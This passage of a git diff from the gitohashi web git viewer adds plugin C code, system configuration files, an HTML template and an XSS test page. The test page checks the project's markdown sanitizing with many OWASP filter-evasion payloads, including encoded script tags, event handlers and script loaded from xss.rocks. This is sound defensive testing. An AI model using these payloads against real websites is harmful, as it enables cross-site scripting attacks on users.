1;\n+\t\tmemcpy(p, in, len);\n+\t\tp +\u003d len;\n+\n+\t\tn \u003d 0;\n+\t\twhile (lws_hdr_copy_fragment(wsi, (char *)p + 1, end - p - 2,\n+\t\t\t\t\t WSI_TOKEN_HTTP_URI_ARGS, n) \u003e 0) {\n+\t\t\tif (!n)\n+\t\t\t\t*p \u003d '?';\n+\t\t\telse\n+\t\t\t\t*p \u003d '\u0026';\n+\n+\t\t\tp +\u003d strlen((char *)p);\n+\t\t\tn++;\n+\t\t}\n+\n+\t\t*p++ \u003d '\u005c0';\n+\n+\t\tif (lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_USER_AGENT) \u0026\u0026\n+\t\t lws_hdr_copy(wsi, priv-\u003eua, sizeof(priv-\u003eua),\n+\t\t\t\t WSI_TOKEN_HTTP_USER_AGENT) \u003c 0)\n+\t\t\tpriv-\u003eua[0] \u003d '\u005c0';\n+\n+\t\tif (lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_ACCEPT_LANGUAGE) \u0026\u0026\n+\t\t lws_hdr_copy(wsi, priv-\u003ealang,\n+\t\t\t\t sizeof(priv-\u003ealang),\n+\t\t\t\t WSI_TOKEN_HTTP_ACCEPT_LANGUAGE) \u003c 0)\n+\t\t\tpriv-\u003ealang[0] \u003d '\u005c0';\n+\n+\t\tn \u003d lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_IF_NONE_MATCH);\n+\t\tif (n \u0026\u0026 lws_hdr_copy(wsi, priv-\u003einm,\n+\t\t\t\t sizeof(priv-\u003einm),\n+\t\t\t\t WSI_TOKEN_HTTP_IF_NONE_MATCH) \u003c 0)\n+\t\t\tpriv-\u003einm[0] \u003d '\u005c0';\n+\n+\t\t/*\n+\t\t * that's all the info we need... queue the task to do the\n+\t\t * actual business (priv is passed by targs.user)\n+\t\t */\n+\n+\t\tif (!lws_threadpool_enqueue(vhd-\u003etp, \u0026targs, \u0022goh-%s\u0022,\n+\t\t\t\t\t (const char *)in)) {\n+\t\t\tlwsl_user(\u0022%s: Couldn't enqueue task\u005cn\u0022, __func__);\n+\t\t\tcleanup_task_private_data(wsi, priv);\n+\t\t\treturn 1;\n+\t\t}\n+\n+\t\tlws_set_timeout(wsi, PENDING_TIMEOUT_THREADPOOL, 30);\n+\n+\t\t/*\n+\t\t * the task will get serviced, see that it doesn't have any\n+\t\t * jg2 ctx yet, and SYNC until we got a WRITEABLE callback\n+\t\t * (which will usually be very quickly, because this HTTP\n+\t\t * callback only happens when we are writeable, and we didn't\n+\t\t * write anything yet)\n+\t\t */\n+\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_HTTP_DROP_PROTOCOL:\n+\t\tif (pss) {\n+\t\t\tlwsl_info(\u0022%s: HTTP_DROP_PROTOCOL: %s %p\u005cn\u0022, __func__,\n+\t\t\t\t (const char *)in, wsi);\n+\t\t\tlws_threadpool_dequeue(wsi);\n+\t\t}\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_CLOSED_HTTP:\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_HTTP_WRITEABLE:\n+\n+\t\tif (!pss)\n+\t\t\tbreak;\n+\n+\t\tn \u003d lws_threadpool_task_status_wsi(wsi, \u0026task, \u0026_user);\n+\t\tlwsl_info(\u0022%s: LWS_CALLBACK_SERVER_WRITEABLE: %p: \u0022\n+\t\t\t \u0022task %p, priv %p, status %d\u005cn\u0022, __func__, wsi, task,\n+\t\t\t _user, n);\n+\t\tswitch(n) {\n+\t\tcase LWS_TP_STATUS_FINISHED:\n+\t\tcase LWS_TP_STATUS_STOPPED:\n+\t\tcase LWS_TP_STATUS_QUEUED:\n+\t\tcase LWS_TP_STATUS_RUNNING:\n+\t\tcase LWS_TP_STATUS_STOPPING:\n+\t\t\treturn 0;\n+\n+\t\tcase LWS_TP_STATUS_SYNCING:\n+\t\t\t/* the task has paused for us to do something */\n+\t\t\tbreak;\n+\n+\t\tdefault:\n+\t\t\t/* wsi has no discernable task */\n+\t\t\t//lwsl_err(\u0022%s: HTTP_WRITABLE: wsi has no task\u005cn\u0022,\n+\t\t\t//\t\t__func__);\n+\t\t\treturn 1;\n+\t\t}\n+\n+\t\tpriv \u003d (struct task_data_gitohashi *)_user;\n+\n+\t\tif (!priv-\u003ectx) {\n+\t\t\t/*\n+\t\t\t * Do the http response and maybe acquire the jg2 ctx.\n+\t\t\t * Sometimes that was all we needed to do (eg, ETAG\n+\t\t\t * matched) and there's no jg2_ctx: the transaction is\n+\t\t\t * completed then.\n+\t\t\t */\n+\t\t\tn \u003d http_reply(wsi, vhd, pss, priv);\n+\t\t\tif (!priv-\u003ectx) {\n+\t\t\t\t/* unblock him and stop him as we are done */\n+\t\t\t\tlws_threadpool_task_sync(task, 1);\n+\n+\t\t\t\treturn n;\n+\t\t\t}\n+\n+\t\t\tlws_set_timeout(wsi, PENDING_TIMEOUT_THREADPOOL_TASK,\n+\t\t\t\t\t60);\n+\n+\t\t\t/*\n+\t\t\t * otherwise we are just getting started... unblock the\n+\t\t\t * worker thread and start the business of filling\n+\t\t\t * buffers and sending them on.\n+\t\t\t */\n+\n+\t\t\tgoto sync_end;\n+\t\t}\n+\n+\t\tif (priv-\u003eused) {\n+\t\t\tlwsl_info(\u0022 writing %d\u005cn\u0022, (int)priv-\u003eused);\n+\t\t\tlwsl_hexdump_debug(priv-\u003ebuf + LWS_PRE, priv-\u003eused);\n+\t\t\tif (lws_write(wsi, (unsigned char *)priv-\u003ebuf + LWS_PRE,\n+\t\t\t\t priv-\u003eused, priv-\u003eframetype) !\u003d\n+\t\t\t\t (int)priv-\u003eused) {\n+\t\t\t\tlwsl_err(\u0022%s: lws_write failed\u005cn\u0022, __func__);\n+\n+\t\t\t\treturn -1;\n+\t\t\t}\n+\t\t\tpriv-\u003eused \u003d 0;\n+\n+\t\t\tif (priv-\u003eframetype \u003d\u003d LWS_WRITE_HTTP_FINAL) {\n+\t\t\t\tlws_threadpool_task_sync(task, 1);\n+\t\t\t\tgoto transaction_completed;\n+\t\t\t}\n+\t\t}\n+\n+sync_end:\n+\t\tlws_threadpool_task_sync(task, 0);\n+\n+\t\treturn 0;\n+\n+\tcase LWS_CALLBACK_USER:\n+\n+\t\t/*\n+\t\t * in debug mode, dump the threadpool stat to the logs once\n+\t\t * a second\n+\t\t */\n+\t\t//lws_threadpool_dump(vhd-\u003etp);\n+\t\tlws_timed_callback_vh_protocol(lws_get_vhost(wsi),\n+\t\t\t\t\t lws_get_protocol(wsi),\n+\t\t\t\t\t LWS_CALLBACK_USER, 1);\n+\t\treturn 0;\n+\n+\tdefault:\n+\t\tbreak;\n+\t}\n+\n+\treturn lws_callback_http_dummy(wsi, reason, user, in, len);\n+\n+transaction_completed:\n+\tif (lws_http_transaction_completed(wsi))\n+\t\treturn -1;\n+\n+\treturn 0;\n+}\n+\n+#define LWS_PLUGIN_PROTOCOL_GITOHASHI \u005c\n+\t{ \u005c\n+\t\t\u0022gitohashi\u0022, \u005c\n+\t\tcallback_gitohashi, \u005c\n+\t\tsizeof(struct pss_gitohashi), \u005c\n+\t\t4096, \u005c\n+\t}\n+\n+#if !defined (LWS_PLUGIN_STATIC)\n+\n+static const struct lws_protocols protocols[] \u003d {\n+\tLWS_PLUGIN_PROTOCOL_GITOHASHI\n+};\n+\n+LWS_EXTERN LWS_VISIBLE int\n+init_protocol_gitohashi(struct lws_context *context,\n+\t\t\t\tstruct lws_plugin_capability *c)\n+{\n+\tif (c-\u003eapi_magic !\u003d LWS_PLUGIN_API_MAGIC) {\n+\t\tlwsl_err(\u0022Plugin API %d, library API %d\u0022,\n+\t\t\t LWS_PLUGIN_API_MAGIC, c-\u003eapi_magic);\n+\t\treturn 1;\n+\t}\n+\n+\tc-\u003eprotocols \u003d protocols;\n+\tc-\u003ecount_protocols \u003d LWS_ARRAY_SIZE(protocols);\n+\tc-\u003eextensions \u003d NULL;\n+\tc-\u003ecount_extensions \u003d 0;\n+\n+\treturn 0;\n+}\n+\n+LWS_EXTERN LWS_VISIBLE int\n+destroy_protocol_gitohashi(struct lws_context *context)\n+{\n+\treturn 0;\n+}\n+#endif\ndiff --git a/system/gitohashi-selinux.pp b/system/gitohashi-selinux.pp\nnew file mode 100644\nindex 0000000..0e73f54\n--- /dev/null\n+++ b/system/gitohashi-selinux.pp\n@@ -0,0 +1,14 @@\n+module gitohashi-selinux 1.0;\n+\n+require {\n+\ttype reserved_port_t;\n+\ttype unconfined_t;\n+\ttype httpd_t;\n+\tclass tcp_socket name_bind;\n+\tclass unix_stream_socket connectto;\n+}\n+\n+#\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d httpd_t \u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\u003d\n+allow httpd_t reserved_port_t:tcp_socket name_bind;\n+allow httpd_t unconfined_t:unix_stream_socket connectto;\n+\ndiff --git a/system/gitohashi.service b/system/gitohashi.service\nnew file mode 100644\nindex 0000000..7b713c6\n--- /dev/null\n+++ b/system/gitohashi.service\n@@ -0,0 +1,12 @@\n+[Unit]\n+Description\u003dGitohashi\n+After\u003dsyslog.target\n+\n+[Service]\n+ExecStart\u003d/usr/local/bin/gitohashi\n+ExecReload\u003d/usr/bin/kill -HUP $MAINPID\n+ExecStop\u003d/usr/bin/killall gitohashi\n+\n+[Install]\n+WantedBy\u003dmulti-user.target\n+\ndiff --git a/templates/gitohashi-example.html b/templates/gitohashi-example.html\nnew file mode 100644\nindex 0000000..c104199\n--- /dev/null\n+++ b/templates/gitohashi-example.html\n@@ -0,0 +1,75 @@\n+\u003c!DOCTYPE html\u003e\n+\u003chtml lang\u003d\u0022en\u0022\u003e\n+\n+\u003chead\u003e\n+ \u003cmeta charset\u003dutf-8 http-equiv\u003d\u0022Content-Language\u0022 content\u003d\u0022en\u0022/\u003e\n+ \u003c!-- libjsongit2:meta-description --\u003e\n+ \u003cscript src\u003d\u0022/git/_gitohashi/jg2.js\u0022\u003e\u003c/script\u003e\n+ \u003clink rel\u003d\u0022stylesheet\u0022 type\u003d\u0022text/css\u0022 href\u003d\u0022/git/_gitohashi/logo.css\u0022/\u003e\n+ \u003clink rel\u003d\u0022stylesheet\u0022 type\u003d\u0022text/css\u0022 href\u003d\u0022/git/_gitohashi/jg2.css\u0022/\u003e\n+ \u003clink rel\u003d\u0022stylesheet\u0022 type\u003d\u0022text/css\u0022 href\u003d\u0022/git/_gitohashi/github.css\u0022/\u003e\n+ \u003c!-- you would move the below to be served from the specific vhost\n+ that this html is the template for, since it is the place you put\n+ CSS that is NOT shared --\u003e\n+ \u003clink rel\u003d\u0022stylesheet\u0022 type\u003d\u0022text/css\u0022 href\u003d\u0022/git/_gitohashi/gitohashi-custom.css\u0022/\u003e\n+ \u003cscript type\u003d'text/javascript' src\u003d'/git/_gitohashi/highlight.pack.js'\u003e\u003c/script\u003e\n+ \u003cscript type\u003d'text/javascript' src\u003d'/git/_gitohashi/showdown.min.js'\u003e\u003c/script\u003e\n+ \u003ctitle\u003eGitohashi example html\u003c/title\u003e \n+\u003c/head\u003e\n+\n+\u003c!-- Customize the header how you like --\u003e\n+\u003cdiv class\u003d\u0022header-region\u0022\u003e\n+\n+\u003ctable\u003e\n+\u003ctr\u003e\n+\u003ctd\u003e\u003ca href\u003d\u0022https://warmcat.com/git/gitohashi\u0022\u003e\n+\t\u003cimg class\u003d\u0022gitohashi-logo\u0022\u003e\n+ \u003c/a\u003e\u003c/td\u003e\n+\u003ctd\u003e\u003cimg class\u003d'repo'\u003e\u003c/td\u003e\n+\t\n+ \u003ctd class\u003d'tight'\u003e\u003ctable\u003e\n+ \u003ctr\u003e\u003ctd colspan\u003d\u00223\u0022\u003e\n+ \u003cb\u003eGitohashi\u003c/b\u003e is a modern, flexible and fast C gitweb-type interface\n+ \u003c/td\u003e\u003c/tr\u003e\n+\n+ \u003ctr\u003e\n+ \u003ctd\u003e\u003ca href\u003d\u0022/\u0022\u003e\n+\t\t\u003cimg class\u003d\u0022home\u0022\u003eProject homepage\u003c/a\u003e\u003c/td\u003e\n+\n+ \u003ctd\u003e\u003ca href\u003d\u0022/mailman/listinfo/libwebsockets\u0022\u003e\n+ \t\u003cimg class\u003d\u0022mailinglist\u0022\u003eMailing List\u003c/a\u003e\u003c/td\u003e\n+\n+ \u003ctd\u003e\u003ca href\u003d\u0022https://warmcat.com\u0022\u003e\n+ \t\u003cimg class\u003d'extlink'\u003eWarmcat.com\u003c/a\u003e\u003c/td\u003e\n+ \u003c/tr\u003e\n+ \u003ctr\u003e\n+\n+ \u003ctd\u003e\u003ca href\u003d\u0022/lws-api-doc-master/html/index.html\u0022\u003e\n+ \t\u003cimg class\u003d\u0022apidocs\u0022\u003eAPI Docs\u003c/a\u003e\u003c/td\u003e\n+\n+ \u003ctd\u003e\u003ca href\u003d\u0022https://github.com/warmcat/gitohashi\u0022\u003e\n+ \t\u003cimg class\u003d\u0022extlink\u0022\u003eGithub Mirror\u003c/a\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\n+\n+ \u003c/tr\u003e\n+ \u003c/table\u003e\u003c/td\u003e\n+\n+\u003c/tr\u003e\n+\u003c/table\u003e\n+\n+\u003c/div\u003e\n+\n+\u003c!-- HTML results from json processing go here --\u003e\n+\u003cdiv id\u003d'result'\u003e\u003c/div\u003e\n+\n+\u003c!-- libjsongit2 adds generated JSON inside this div, replacing the comment --\u003e\n+\u003cdiv id\u003d'initial-json' class\u003d\u0022hidden-tiger\u0022\u003e\n+\u003c!-- libjsongit2:initial-json --\u003e\n+\u003c/div\u003e\n+\n+\u003c!-- Customize the footer how you like --\u003e\n+\n+\u003cdiv class\u003d\u0022jg2-footer footer-region\u0022\u003e\n+\u003ctable\u003e\u003ctr\u003e\u003ctd\u003e\u003ca href\u003d\u0022https://warmcat.com/git/gitohashi\u0022\u003e\n+ \t\u003cspan\u003e\u003cimg class\u003d\u0022gitohashi-icon\u0022\u003e\u003c/span\u003e\u003c/a\u003e\n+ \u003c/td\u003e\u003ctd\u003e\u003cdiv class\u003d\u0022gitohashi-stats\u0022 id\u003d\u0022gitohashi-stats\u0022\u003e\u003c/div\u003e\u003c/td\u003e\u003c/tr\u003e\n+\u003c/table\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e\ndiff --git a/xss/README.md b/xss/README.md\nnew file mode 100644\nindex 0000000..5ee5ea0\n--- /dev/null\n+++ b/xss/README.md\n@@ -0,0 +1,181 @@\n+## XSS testing\n+\n+The pages in this dir try to smuggle script execution into the stuff\n+rendered in your browser in various ways.\n+\n+Unfortunately there are a LOT of ways modern browsers will let you do\n+that. Here we try a bunch of them and see if we are successful in\n+defeating them with our preprocessing. The attack methods came from\n+\n+https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet\n+\n+This page is checking showdown rendering.\n+\n+Any successful script executions pop up an alert box. Seeing some strange\n+renderings just talking about scripts on this page and no popups counts as\n+a success...\n+\n+\u003cscript\u003ealert(\u0022xss/README.md: trivial script\u0022);\u003c/script\u003e\n+https://something.com\n+https://something.com' onmouseover\u003d'alert(\u0022xss/README.md: onmouseover in anonymous link\u0022)'\n+https://something.com\u0022 onmouseover\u003d\u0022alert('xss/README.md: onmouseover in anonymous link')\u0022\n+https://something.com#' onmouseover\u003d'alert(\u0022xss/README.md: onmouseover in anonymous link\u0022)'\n+https://something.com#\u0022 onmouseover\u003d\u0022alert('xss/README.md: onmouseover in anonymous link')\u0022\n+https://something.com?x\u003d' onmouseover\u003d'alert(\u0022xss/README.md: onmouseover in anonymous link\u0022)'\n+https://something.com?x\u003d\u0022 onmouseover\u003d\u0022alert('xss/README.md: onmouseover in anonymous link')\u0022\n+https://something.com\u0026quot; onmouseover\u003d'alert(\u0022xss/README.md: onmouseover in anonymous link\u0022)\u0026quot;\n+https://something.com\u0026#34 onmouseover\u003d'alert(\u0022xss/README.md: onmouseover in anonymous link\u0022)\u0026quot;\n+https://something.com\u0026amp;#34 onmouseover\u003d'alert(\u0022xss/README.md: onmouseover in anonymous link\u0022)\u0026quot;\n+\n+\n+\n+x \u003ca name\u003d\u0022n\u0022\n+href\u003d\u0022javascript:alert('xss/README.md: js in a href')\u0022\u003eclick me\u003c/a\u003e\n+\n+## \u003cscript\u003ealert(\u0022xss/README.md: trivial script in header\u0022);\u003c/script\u003e\n+## javascript:alert('xss/README.md: js: in header')\n+\n+javascript:/*--\u003e\u003c/title\u003e\u003c/style\u003e\u003c/textarea\u003e\u003c/script\u003e\u003c/xmp\u003e\u003csvg/onload\u003d'+/\u0022/+/onmouseover\u003d1/+/[*/[]/+alert(1)//'\u003e\n+\u003cIMG SRC\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003djavascript:alert('XSS')\u003e\n+\u003cIMG SRC\u003dJaVaScRiPt:alert('XSS')\u003e\n+\u003cIMG SRC\u003djavascript:alert(\u0026quot;XSS\u0026quot;)\u003e\n+\u003cIMG SRC\u003d`javascript:alert(\u0022RSnake says, 'XSS'\u0022)`\u003e\n+\u003cIMG \u0022\u0022\u0022\u003e\u003cSCRIPT\u003ealert(\u0022XSS\u0022)\u003c/SCRIPT\u003e\u0022\u003e\n+\u003cIMG SRC\u003djavascript:alert(String.fromCharCode(88,83,83))\u003e\n+\u003cIMG SRC\u003d# onmouseover\u003d\u0022alert('xxs')\u0022\u003e\n+\u003cIMG SRC\u003d onmouseover\u003d\u0022alert('xxs')\u0022\u003e\n+\u003cIMG onmouseover\u003d\u0022alert('xxs')\u0022\u003e\n+\u003cIMG SRC\u003d/ onerror\u003d\u0022alert(String.fromCharCode(88,83,83))\u0022\u003e\u003c/img\u003e\n+\u003cimg src\u003dx onerror\u003d\u0022\u0026#0000106\u0026#0000097\u0026#0000118\u0026#0000097\u0026#0000115\u0026#0000099\u0026#0000114\u0026#0000105\u0026#0000112\u0026#0000116\u0026#0000058\u0026#0000097\u0026#0000108\u0026#0000101\u0026#0000114\u0026#0000116\u0026#0000040\u0026#0000039\u0026#0000088\u0026#0000083\u0026#0000083\u0026#0000039\u0026#0000041\u0022\u003e\n+\u003cIMG SRC\u003d\u0026#106;\u0026#97;\u0026#118;\u0026#97;\u0026#115;\u0026#99;\u0026#114;\u0026#105;\u0026#112;\u0026#116;\u0026#58;\u0026#97;\u0026#108;\u0026#101;\u0026#114;\u0026#116;\u0026#40;\n+\u0026#39;\u0026#88;\u0026#83;\u0026#83;\u0026#39;\u0026#41;\u003e\n+\u003cIMG SRC\u003d\u0026#0000106\u0026#0000097\u0026#0000118\u0026#0000097\u0026#0000115\u0026#0000099\u0026#0000114\u0026#0000105\u0026#0000112\u0026#0000116\u0026#0000058\u0026#0000097\u0026\n+#0000108\u0026#0000101\u0026#0000114\u0026#0000116\u0026#0000040\u0026#0000039\u0026#0000088\u0026#0000083\u0026#0000083\u0026#0000039\u0026#0000041\u003e\n+\u003cIMG SRC\u003d\u0026#x6A\u0026#x61\u0026#x76\u0026#x61\u0026#x73\u0026#x63\u0026#x72\u0026#x69\u0026#x70\u0026#x74\u0026#x3A\u0026#x61\u0026#x6C\u0026#x65\u0026#x72\u0026#x74\u0026#x28\u0026#x27\u0026#x58\u0026#x53\u0026#x53\u0026#x27\u0026#x29\u003e\n+\u003cIMG SRC\u003d\u0022jav\tascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022jav\u0026#x09;ascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022jav\u0026#x0A;ascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022jav\u0026#x0D;ascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022 \u0026#14; javascript:alert('XSS');\u0022\u003e\n+\u003cSCRIPT/XSS SRC\u003d\u0022http://xss.rocks/xss.js\u0022\u003e\u003c/SCRIPT\u003e\n+\u003cBODY onload!#$%\u0026()*~+-_.,:;?@[/|\u005c]^`\u003dalert(\u0022XSS\u0022)\u003e\n+\u003cSCRIPT/SRC\u003d\u0022http://xss.rocks/xss.js\u0022\u003e\u003c/SCRIPT\u003e\n+\u003c\u003cSCRIPT\u003ealert(\u0022XSS\u0022);//\u003c\u003c/SCRIPT\u003e\n+\u003cSCRIPT SRC\u003dhttp://xss.rocks/xss.js?\u003c B \u003e\n+\u003cSCRIPT SRC\u003d//xss.rocks/.j\u003e\n+\u003cIMG SRC\u003d\u0022javascript:alert('XSS')\u0022\n+\u003ciframe src\u003dhttp://xss.rocks/scriptlet.html \u003c\n+\u005c\u0022;alert('XSS');//\n+\u003c/script\u003e\u003cscript\u003ealert('XSS');\u003c/script\u003e\n+\u003cINPUT TYPE\u003d\u0022IMAGE\u0022 SRC\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cBODY BACKGROUND\u003d\u0022javascript:alert('XSS')\u0022\u003e\n+\u003cIMG DYNSRC\u003d\u0022javascript:alert('XSS')\u0022\u003e\n+\u003cIMG LOWSRC\u003d\u0022javascript:alert('XSS')\u0022\u003e\n+\u003cSTYLE\u003eli {list-style-image: url(\u0022javascript:alert('XSS')\u0022);}\u003c/STYLE\u003e\u003cUL\u003e\u003cLI\u003eXSS\u003c/br\u003e\n+\u003cIMG SRC\u003d'vbscript:msgbox(\u0022XSS\u0022)'\u003e\n+\u003csvg/onload\u003dalert('XSS')\u003e\n+Set.constructor`alert\u005cx28document.domain\u005cx29```\n+\n+\u003cBODY ONLOAD\u003dalert('XSS')\u003e\n+\n+\u003cBGSOUND SRC\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cBR SIZE\u003d\u0022\u0026{alert('XSS')}\u0022\u003e\n+\u003cLINK REL\u003d\u0022stylesheet\u0022 HREF\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cIMG STYLE\u003d\u0022xss:expr/*XSS*/ession(alert('XSS'))\u0022\u003e\n+\u003cXSS STYLE\u003d\u0022xss:expression(alert('XSS'))\u0022\u003e\n+\n+¼script¾alert(¢XSS¢)¼/script¾\n+\n+\u003cMETA HTTP-EQUIV\u003d\u0022refresh\u0022 CONTENT\u003d\u00220;url\u003djavascript:alert('XSS');\u0022\u003e\n+\n+\u003cMETA HTTP-EQUIV\u003d\u0022refresh\u0022 CONTENT\u003d\u00220;url\u003ddata:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\u0022\u003e\n+\u003c!--[if gte IE 4]\u003e\n+ \u003cSCRIPT\u003ealert('XSS');\u003c/SCRIPT\u003e\n+ \u003c![endif]--\u003e\n+\n+ \u003cOBJECT TYPE\u003d\u0022text/x-scriptlet\u0022 DATA\u003d\u0022http://xss.rocks/scriptlet.html\u0022\u003e\u003c/OBJECT\u003e\n+\n+\u003cEMBED SRC\u003d\u0022data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg\u003d\u003d\u0022 type\u003d\u0022image/svg+xml\u0022 AllowScriptAccess\u003d\u0022always\u0022\u003e\u003c/EMBED\u003e\n+\n+\n+\u003cHTML\u003e\u003cBODY\u003e\n+\u003c?xml:namespace prefix\u003d\u0022t\u0022 ns\u003d\u0022urn:schemas-microsoft-com:time\u0022\u003e\n+\u003c?import namespace\u003d\u0022t\u0022 implementation\u003d\u0022#default#time2\u0022\u003e\n+\u003ct:set attributeName\u003d\u0022innerHTML\u0022 to\u003d\u0022XSS\u003cSCRIPT DEFER\u003ealert(\u0022XSS\u0022)\u003c/SCRIPT\u003e\u0022\u003e\n+\u003c/BODY\u003e\u003c/HTML\u003e\n+\n+ \u003cHEAD\u003e\u003cMETA HTTP-EQUIV\u003d\u0022CONTENT-TYPE\u0022 CONTENT\u003d\u0022text/html; charset\u003dUTF-7\u0022\u003e \u003c/HEAD\u003e+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-\n+\n+\u003cSCRIPT a\u003d\u0022\u003e\u0022 SRC\u003d\u0022httx://xss.rocks/xss.js\u0022\u003e\u003c/SCRIPT\u003e\n+\u003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+%3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026ltscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026lt;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026LTscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026LT;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#60script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#00060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#000060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0000060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#60;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#00060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#000060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0000060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e